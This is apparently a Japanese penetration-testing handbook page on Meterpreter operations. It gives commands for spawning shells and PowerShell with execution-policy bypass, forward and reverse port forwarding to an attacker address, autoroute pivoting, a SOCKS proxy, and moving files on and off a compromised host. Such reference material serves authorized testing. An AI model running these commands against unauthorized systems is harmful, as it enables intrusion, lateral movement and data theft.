コンテンツにスキップ

Meterpreter 操作

Meterpreter セッションから OS シェルや PowerShell を起動し、ポート転送で内部のサービスへ接続する手順です。

sessions -l
sessions -i 1
# Meterpreter プロンプトで作業
background

background または Ctrl-Z で msfconsole に戻ります。

shell

Windows では cmd.exe、Linux では対象の既定のシェルに入ります。戻るときは exit を実行します。

これはチャネル経由の半対話シェルです。vim や tmux など端末制御が必要な作業や、shell -t / shell -it の制限、socat / nc を使ったフル TTY の取得については Fully Interactive TTY を参照してください。

非対話で 1 コマンドだけ流す場合は、Meterpreter 上の execute や post モジュールの cmd_exec を使います。

execute -f cmd.exe -a "/c whoami" -i -H

-i は入出力を繋ぎ、-H は hidden window です。

PowerShell 拡張が使える Windows Meterpreter では次が使えます。

load powershell
powershell_shell

1 行実行です。

powershell_execute Get-Process
powershell_execute -s <session-id> Get-Date

スクリプトや assembly の取り込みです。

powershell_import /path/to/script.ps1
powershell_import /path/to/helper.dll

拡張が無い、または使えない場合は通常シェル経由で起動します。

shell
powershell -nop -ep bypass

Meterpreter の portfwd は、攻撃機のローカルポートをセッション経由で別ホストのポートへ転送します。実装は lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb です。

通常のポート転送(攻撃機 → 内部)

Section titled “通常のポート転送(攻撃機 → 内部)”

攻撃機の 127.0.0.1:1090 で待ち、Meterpreter 先から 169.254.37.128:443 へ繋ぎます。

portfwd add -l 1090 -p 443 -r 169.254.37.128
portfwd list

手元から使う例です。

ターミナルウィンドウ
curl -k https://127.0.0.1:1090/

主な引数です。

引数意味
-l攻撃機側で待ち受けるポート
-p転送先ポート
-r転送先ホスト(Meterpreter から見えるアドレス)
-L待ち受けるローカルホスト(省略時は通常 localhost)
-R逆方向のポート転送
-i削除時のインデックス

-R を付けると転送方向が変わります。対象側で待ち受け、攻撃機側のホストとポートへ接続します。

portfwd add -R -l 4444 -p 4444 -L 10.10.16.10

通常の転送は -l/-r/-p で設定します。逆方向の転送は必要な場合に使います。

portfwd list
portfwd delete -i 1
portfwd flush

サブネット単位で Metasploit モジュールの通信をセッション経由に載せる場合は autoroute です。portfwd が「特定ポートのトンネル」、route が「そのサブネット向けモジュール通信の経路」です。

run post/multi/manage/autoroute verbose=true session=3 subnet=172.16.1.0 netmask=255.255.255.0
route print

SOCKS proxy を立てる例です。

use auxiliary/server/socks_proxy
run -j verbose=true srvhost=127.0.0.1 srvport=1080
jobs -l

終了時は不要になった経路やジョブが残っていないか確認します。

route print
jobs -l
portfwd list
# 必要なら
jobs -K
route flush
portfwd flush
sysinfo
getuid
getpid
ps
ipconfig
pwd
ls
download C:\\Users\\user\\Desktop\\file.txt /tmp/
upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe

ファイルや資格情報を拾ったら、基本操作と DB の loot / notes 方針に従って保存します。